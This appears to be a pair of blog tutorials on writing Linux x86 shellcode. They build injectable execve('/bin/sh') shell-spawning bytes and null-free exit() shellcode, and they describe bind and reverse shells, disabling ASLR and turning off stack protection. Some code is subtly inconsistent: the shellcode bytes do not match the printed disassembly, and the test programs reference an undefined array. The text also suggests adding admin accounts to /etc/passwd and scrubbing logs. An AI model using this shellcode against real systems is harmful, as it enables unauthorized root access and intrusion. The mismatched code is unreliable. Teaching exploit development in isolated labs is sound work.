Assembly in Real world-writing shell spawn shellcode!

In previous tutorial,We have learned how to write exit() shellcode. Learning to write simple exit() shellcode is in reality just a learning exercise.
Now it's time to write a shellcode to do something a little more useful. This tutorial will be dedicated to doing something more fun— the typical attacker’s trick of spawning a root shell that can be used to compromise your target computer.

The first step in developing an exploit is writing the shellcode that you want run on the target machine. It's called shellcode because typically this code will provide a command shell to the attacker.We will follow five steps to shellcode success:
1. Write desired shellcode in a high-level language.
2. Compile and disassemble the high-level shellcode program.
3. Analyze how the program works from an assembly level.
4. Clean up the assembly to make it smaller and injectable.
5. Extract opcodes and create shellcode.

Shell-Spawning Shellcode with execve:
The first step is to create a simple C program to spawn our shell.The easiest and fastest method of creating a shell is to create a new process. Linux provide two methods for creating process: fork() and execve(). Using fork() and execve() together creates a copy of the existing process, while execve()singularly executes another program in place of the existing one.Let’s keep it as simple as possible and use execve by itself.

The execve shellcode is probably the most used shellcode in the world.The goal of this shellcode is to let the application into which it is being injected run an application such as /bin/sh. There are several implementations techniques of execve shellcode for the Linux operating systems like “jump / call” and “push” techniques.

There are several ways to execute a program on Linux systems. One of the most widely used methods
is to call the  execve system call. For our purpose, we will use execve  to execute the /bin/sh
program. Execve is the almighty system call that can be used to execute a file. The linux implementation looks like this:
int execve (const char *filename, char *const argv [], char *const envp[]);
Let's understand it:
execve() executes the program pointed to by filename. filename must be either a binary executable or a script starting with a line of the form“#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable that is not itself a script and that will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer.

In short, The first argument has to be a pointer to a string that represents the file we like to execute. The second argument is a pointer to an array of pointers to strings.These pointers point to the arguments that should be given to the program upon execution.The last argument is also an array of pointers to strings. These strings are the environment variables we want the program to receive.

Before constructing shellcode, it is good to write a small program that performs the desired task of the shellcode. Let's write a code that executes the file /bin/sh using the execve system            call.Therefore,spawning a shell from a C program looks like:

#include <unistd.h>

int main() {
        char *args[2];
        args[0] = "/bin/sh";
        args[1] = NULL;
        execve(args[0], args, NULL);
}

In the above example we passed to execve():
a pointer to the string "/bin/sh";
an array of two pointers (the first pointing to the string "/bin/sh" and the second null);
a null pointer (we don't need any environment variables).
If this code is not clear , have a look: C Programming for hackers.
Let’s compile and execute the program:
root@kali:~/Desktop/Assembly/shell_spawn# gcc -o shell shell.c
root@kali:~/Desktop/Assembly/shell_spawn# ./shell
#

                                                   

As you can see, our shell has been spawned. This isn’t very interesting right now, but if this code were injected remotely and then executed, you could see how powerful this little program can be.

Ok, we got our shell! Now let's see how to use this system call in assembler (since there are only three arguments, we can use registers). We immediately have to tackle two problems:
1.the first is a well-known problem: we can't insert null bytes in the shellcode; but this time we can't help using them: for instance, the shellcode must contain the string "/bin/sh" and, in C, strings must be null-terminated. And we will even have to pass two null pointers among the arguments to execve()!
2.the second problem is finding the address of the string. Absolute memory addressing makes development much longer and harder, but, above all, it makes almost impossible to port the shellcode among different programs and distributions.

To solve the first problem, we will make our shellcode able to put the null bytes in the right places at run-time.
To solve the second problem, instead, we will use relative memory addressing.The classic method of performing this trick is to start the shellcode with a jump instruction, which will jump past the meat of the shellcode directly to a call instruction. Jumping directly to a call instruction sets up relative
addressing. When the call instruction is executed, the address of the instruction immediately following the call instruction will be pushed onto the stack. The trick is to place whatever you want as the base relative address directly following the call instruction. We now automatically have our base address stored on the stack, without having to know what the address was ahead of time.
We still want to execute the meat of our shellcode, so we will have the call instruction call the instruction immediately following our original jump. This will put the control of execution right back to the beginning of our shellcode. The final modification is to make the first instruction following the jump be a POP ESI, which will pop the value of our base address off the stack and put it into ESI. Now we can reference different bytes in our shellcode by using the distance, or offset, from ESI.

In short words, The "classic" method to retrieve the address of the shellcode is to begin with a CALL instruction. The first thing a CALL instruction does is, in fact, pushing the address of the next byte onto the stack (to allow the RET instruction to insert this address in EIP upon return from the called function); then the execution jumps to the address specified by the parameter of the CALL instruction. This way we have obtained our starting point: the address of the first byte after the CALL is the last value on the stack and we can easily retrieve it with a POP instruction! Therefore, the overall structure of the shellcode will be:

jmp short mycall      ; Immediately jump to the call instruction

shellcode:
    pop   esi         ; Store the address of "/bin/sh" in ESI
    [...]

mycall:
    call  shellcode   ; Push the address of the next byte onto the stack: the next
    db    "/bin/sh"   ;   byte is the beginning of the string "/bin/sh"

The DB or define byte directive (it’s not technically an instruction) allows us to set aside space in memory for a string. The following steps show what happens with this code:
1. The first instruction is to jump to mycall, which immediately executes the CALL instruction.
2. The CALL instruction now stores the address of the first byte of our string (/bin/sh) on the stack.
3. The CALL instruction calls shellcode.
4. The first instruction in our shellcode is a POP ESI, which puts the value of the address of our string into ESI.
5. The meat of the shellcode can now be executed using relative addressing.

Now that the addressing problem is solved, let’s fill out the meat of shellcode using pseudocode. Then we will replace it with real assembly instructions and get our shellcode. We will leave a number of placeholders (9 bytes) at the end of our string, which will look like this:
‘/bin/shJAAAAKKKK’

Now we can fill the structure of the shellcode with something useful. Let's see, step by step, what it will have to do:
1.Fill EAX with nulls by xoring EAX with itself.
2.Terminate our /bin/sh string by copying AL over the last byte of the string. Remember that AL is null because we nulled out EAX in the previous instruction. You must also calculate the offset from the beginning of the string to the J placeholder.
3. Get the address of the beginning of the string, which is stored in ESI, and copy that value into EBX.
4. Copy the value stored in EBX, now the address of the beginning of the string, over the AAAA placeholders. This is the argument pointer to the binary to be executed, which is required by execve. Again, you need to calculate the offset.  
5. Copy the nulls still stored in EAX over the KKKK placeholders, using the correct offset.
6. EAX no longer needs to be filled with nulls, so copy the value of our execve syscall (0x0b) into AL.
7. Load EBX with the address of our string.
8. Load the address of the value stored in the AAAA placeholder, which is a pointer to our string, into ECX.
9. Load up EDX with the address of the value in KKKK, a pointer to null.
10. Execute int 0x80.

This is the resulting assenbly code:
Section    .text
global _start
_start:
    jmp short       mycall             ; jmp trick as explained above
    shellcode:                   
        pop             esi         ; esi now represents the location of our string           
        xor             eax, eax         ; make eax 0   
        mov byte        [esi + 7], al   ; terminate /bin/sh
        lea             ebx, [esi]      ; get the adress of /bin/sh and put it in register ebx
        mov long        [esi + 8], ebx  ;put the value of ebx(the address of /bin/sh) in AAAA ([esi +8])
        mov long        [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax)
        mov byte        al, 0x0b        ;Execution time! we use syscall 0x0b which represents execve
        mov             ebx, esi        ; argument one... ratatata /bin/sh
        lea             ecx, [esi + 8]  ; argument two... ratatata our pointer to /bin/sh
        lea             edx, [esi + 12] ; argument three... ratataa our pointer to NULL
        int             0x80
    mycall :
        Call             shellcode     ; part of the jmp trick to get the location of db
        db              ‘/bin/shJAAAAKKKK’

Now let's extract the opcodes:
$ nasm -f elf get_shell.asm
$ ojdump -d get_shell.o

get_shell.o:     file format elf32-i386

Disassembly of section .text:

00000000 <shellcode-0x2>:
   0:   eb 18                   jmp    1a <mycall>

00000002 <shellcode>:
   2:   5e                      pop    %esi
   3:   31 c0                   xor    %eax,%eax
   5:   88 46 07                mov    %al,0x7(%esi)
   8:   89 76 08                mov    %esi,0x8(%esi)
   b:   89 46 0c                mov    %eax,0xc(%esi)
   e:   b0 0b                   mov    $0xb,%al
  10:   8d 1e                   lea    (%esi),%ebx
  12:   8d 4e 08                lea    0x8(%esi),%ecx
  15:   8d 56 0c                lea    0xc(%esi),%edx
  18:   cd 80                   int    $0x80

0000001a <mycall>:
  1a:   e8 e3 ff ff ff          call   2 <shellcode>
  1f:   2f                      das   
  20:   62 69 6e                bound  %ebp,0x6e(%ecx)
  23:   2f                      das   
  24:   73 68                   jae    8e <mycall+0x74>
$

Notice we have no nulls and no hardcoded addresses. The final step is to create the shellcode and plug it into a C program:
char shellcode[] =  
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41”
“\x4b\x4b\x4b\x4b”;              
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Let's complie the program and check:
root@kali:~/Desktop/Assembly/shell_spawn# gcc -o check check.c
root@kali:~/Desktop/Assembly/shell_spawn# ./check
length: 49 bytes
# whoami
root
#
                                         

       

                          
Now you have working, injectable shellcode. If you need to pare down the shellcode, you can sometimes remove the placeholder opcodes at the end of shellcode, as follows:
char shellcode[] =  
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
  
If you like this post or have any question, please feel free to comment!

Assembly in Real world - Writing your own shellcode in Assembly !

One of the most widely use of assembly language is in writing shellcode. If you  new to this subject, try playing with assembly a bit.
Prerequisites: x86 Assembly language(Strictly Recommended).
2. C programming language.

Caution:The shellcodes can be used in most exploits without a problem.However, these codes may cause serious damage  to your computer and should therefor only be used against TEST systems that have  NO network connectivity! Imagine what happens if you run the backdoor on you system  and forget about it ?

What is shellcode?
The shellcode is literally a "code" that returns a remote (or local) shell when executed. Shellcode can be seen as a list of instructions that has been developed in a manner that allows it to be injected in an application during runtime.The term “shellcode” (or “shell code”) derives from the fact that in many cases, malicious users utilize code that provides them with either shell access to a remote computer on which they do not possess an account or, alternatively, access to a shell with higher privileges on a computer on which they do have an account. In the optimal case, such a shell might provide root- or administrator-level access to a vulnerable system.

Understanding shellcode and eventually writing your own is, for many reasons, an essential skill. First and foremost, in order to determine that a vulnerability is indeed exploitable, you must first exploit it. Second, software vendors will often release a notice of a vulnerability but not provide an exploit. In these cases you may have to write your own shellcode if you want to create an exploit in order to test the bug on your own systems. Unfortunately, for many hackers the shellcode story stops at copying and pasting bytes. These hackers are  just scratching the surface of what’s possible.Custom shellcode gives you absolute control over the  exploited program. Perhaps you want your shellcode to add an admin account to /etc/passwd or to  automatically remove lines from log files. Once you know how to write your own shellcode, your exploits are limited only by your imagination. In addition, writing shellcode develops assembly language skills and employs a number of hacking techniques worth knowing.

Understanding System Calls: As we have already discussed,System calls are APIs for the interface between user space and kernel space.We write shellcode because we want the target program to function in a manner other than what was intended by the designer. One way to manipulate the program is to force it to make a system call or syscall. Syscalls are an extremely powerful set of functions that will allow you to access operating system– specific functions such as getting input, producing output, exiting a process, and executing a binary file. Syscalls allow you to directly access the kernel, which gives you access to lower-level functions like reading and writing files.

More in detail : The concept of Assembly- System calls :http://programmingethicalhackerway.blogspot.in/2015/07/the-concept-of-assembly-system-calls.html

Writing Shellcode for the exit() Syscall: There are basically three ways to write shellcode:
1.writing manually in hex opcode.
2. writing the C code, compile it, and then disassebling it to obtain the  assembly instructions and hex opcodes.
3. writing the assembly code and , assemble the program, and then extract the hex opcodes from the binary.

There are various types of shellcode like:
1. Basic Shellcode:It would be nice if we did not have to write our own version of a shell just to upload it to a target computer that probably already has a shell installed. With that in mind, the technique that has become more or less standard typically involves writing assembly code that launches a new shell process on
the target computer and causes that process to take input from and send output to the attacker. The easiest piece of this puzzle to understand turns out to be launching a new shell process, which can be accomplished through use of the execve system call on Unix-like systems and via the CreateProcess function call on Microsoft Windows systems.The more complex aspect is understanding where the new shell process receives its input and where it sends its output.

2. Port Binding Shellcode: When attacking a vulnerable networked application, it will not always be the case that simply execing a shell will yield the results we are looking for. If the remote application closes our network connection before our shell has been spawned, we will lose our means to transfer data to and from the shell.One solution to this problem is to use port binding shellcode, often referred to as a “bind shell.”

                        

                                             
3. Reverse Shellcode: If a firewall can block our attempts to connect to the listening socket that results from successful use of port binding shellcode.In many cases, firewalls are less restrictive regarding outgoing traffic. Reverse shellcode exploits this fact by reversing the direction in which the second connection is made.Instead of binding to a specific port on the target computer, reverse shellcode initiates a new connection to a specified port on an attacker-controlled computer. Following a successful connection, it duplicates the newly connected socket to stdin, stdout, and stderr before spawning a new command shell process on the target machine.

                                                 

                               

Kernel Space Shellcode: User space programs are not the only type of code that contains vulnerabilities. Vulnerabilities are also present in operating system kernels and their components, such as device drivers.

Before we start writing exit shellcode, let's understand a C program which is most widely used to test a shellcode.This is an example C code used to test out our codes, there several ways to write this but they works out all the same:
char code[] = "bytecode(like \x31\xdb\xb0\x01x\cd\x80 ) will go here!";

int main(int argc, char **argv)
{
  int (*func)(); //func is a function pointer
  func = (int (*)()) code; //func points to our code(shellcode)
  (int)(*func)();   //execute as function code[] 
}

In the main function, the code:
int (*func)();
is a declaration of a function pointer. Actually func is pointer to function returning int.A function pointer is essentially a variable that holds the address of a function. In this case, the type of function that func points to is a one that takes no arguments and returns an int.

The next line:
func = (int (*)()) code;
assigns a function pointer an address to the code[] (which is assembler bytecode, the instructions your CPU executes). Here (int (*)()) is a cast to a function pointer that takes no arguments and returns an int. This is so the compiler won't complain about assigning what is essentially a char* to the function pointer func.

The last line:
(int)(*func)();
calls the function by its address (assembler instructions) with no arguments passed,because () is specified.
Here the result is cast to an int and this cast is not necessary.So the last line
(int)(*func)();
could be replaced with
(*func)();

Note:
1. Address Space Layout Randomization is a defense feature to make buffer overflows more difficult, and Kali Linux uses it by default. Fortunately, it's easy to temporarily disable ASLR in Kali Linux.
In a Terminal, execute these commands: :
root@kali:~/Desktop/Assembly# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
root@kali:~/Desktop/Assembly# cat /proc/sys/kernel/randomize_va_space
0
                                         

       

                           
2.To compile the code without modern protections against stack overflows :
root@kali:~/Desktop/Assembly# gcc test.c -o test -ggdb -fno-stack-protector -z execstack

Essentially, you now have all the pieces you need to make exit() shellcode.Our first step will be to use the assembly code from previous tutorial "exit.asm" code example to write a shellcode.The assembly code is :
global  _start

section .text
_start:
    mov ebx,0
    mov eax, 1
    int 0x80
If this code is not clear , check here:http://programmingethicalhackerway.blogspot.in/2015/07/a-simple-exit-assembly-program.html
Now To get the opcodes, we will first assemble the code with nasm andthen use the GNU linker to link object files;then disassemble the freshly built binary with objdump:
root@kali:~/Desktop/Assembly# nasm -f elf32 exit.asm -o exit.o
root@kali:~/Desktop/Assembly# ld exit.o -o exit
root@kali:~/Desktop/Assembly# ./exit
root@kali:~/Desktop/Assembly# objdump -d exit
exit:     file format elf32-i386
Disassembly of section .text:

08048060 <_start>:
 8048060:    bb 00 00 00 00           mov    $0x0,%ebx
 8048065:    b8 01 00 00 00           mov    $0x1,%eax
 804806a:    cd 80                    int    $0x80
root@kali:~/Desktop/Assembly#

                                    

                                                   

You can see the assembly instructions on the far right. To the left is our opcode.The second column contains the opcodes we need. All you need to do is place the opcode into a character array and whip up a little C to execute the string.Therefore, we can write our first shellcode and test it with a very simple C program(Discussed above):
char shellcode[] = "\xbb\x00\x00\x00\x00"
                   "\xb8\x01\x00\x00\x00"
                   "\xcd\x80";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Now, compile the program and test the shellcode:
root@kali:~/Desktop/Assembly# gcc test.c -o test -ggdb -fno-stack-protector -z execstack
root@kali:~/Desktop/Assembly# ./test
root@kali:~/Desktop/Assembly#
It looks like the program exited normally. Unfortunately, looking at the shellcode, we can notice a little problem: it contains a lot of null bytes and, since the shellcode is often written into a string buffer, those bytes will be treated as string terminators by the application and the attack will fail.

There are two ways to get around this problem:
1.writing instructions that don't contain null bytes (not always possible),
2. writing a self-modifying shellcode (without null bytes) which will write the necessary null bytes (e.g. string terminators) at run-time.
Here we will apply the first method.First, the first instruction:
mov    $0x0,%ebx
can be replaced by the more common :
xor ebx, ebx
Instead of using the mov instruction to set the value of EBX to 0,use the Exclusive OR (xor) instruction.If you remember assembly, the Exclusive OR (xor) instruction will return zero if both operands are equal. This means that if we use the Exclusive OR instruction on two operands that we know are equal, we can get the value of 0 without having to use a value of 0 in an instruction.

The second instruction:
mov    $0x1,%eax
instead, contained all those zeroes because we were using a 32 bit register (EAX), thus making 0x01 become 0x01000000 (bytes are in reverse order because Intel processors are little endian).We can get around this problem if we remember that each 32-bit register is broken up into two 16-bit “areas”; the first-16 bit area can be accessed with the AX register. Additionally, the 16-bit AX register can be broken down further into the AL and AH registers. If you want only the first 8 bits, you can use the AL register.
Our binary value of 1 will take up only 8 bits, so we can fit our value into this register and avoid EAX
getting filled up with nulls.  Therefore, we can solve  this problem simply using an 8 bit register (AL) instead of a 32 bit register:
mov  al,1

Now we should have taken care of all the nulls. Let’s verify that we have by writing our new assembly instructions and seeing if we have any null opcodes.Now our assembly code looks like:
global  _start

section .text
_start:
        xor ebx,ebx     ;zero out ebx
        mov al, 1       ;exit is syscall 1
        int 0x80

Take the following steps to compile and extract the byte code.
root@kali:~/Desktop/Assembly# nasm -f elf32 exit.asm -o exit.o
root@kali:~/Desktop/Assembly# ld exit.o -o exit
root@kali:~/Desktop/Assembly# ./exit
root@kali:~/Desktop/Assembly# objdump -d exit

exit:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:    31 db                    xor    %ebx,%ebx
 8048062:    b0 01                    mov    $0x1,%al
 8048064:    cd 80                    int    $0x80

                                                             

                  

The bytes we need are 31 db b0 01 cd 80.As you can see, doesn't contain any null bytes!All our null opcodes have been removed, and we have significantly reduced the size of our shellcode. Now you have fully working, and more importantly, injectable shellcode. 
Now test the new shellcode:
char shellcode[] = "\x31\xdb\xb0\x01"
                   "\xcd\x80";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}
Once again, to make the shellcode work in real-world applications, we will need to remove all those null bytes!
Ideas for writing small shellcode : Here i will share some useful ideas for constructing shellcode that is as small as possible.
1. Use small instructions.
2. Use instructions with multiple effects.
3. Bend Windows API rules.
4. Don’t think like a programmer.
5. Consider using encoding or compression.

If you like this post or have any question, please feel free to comment!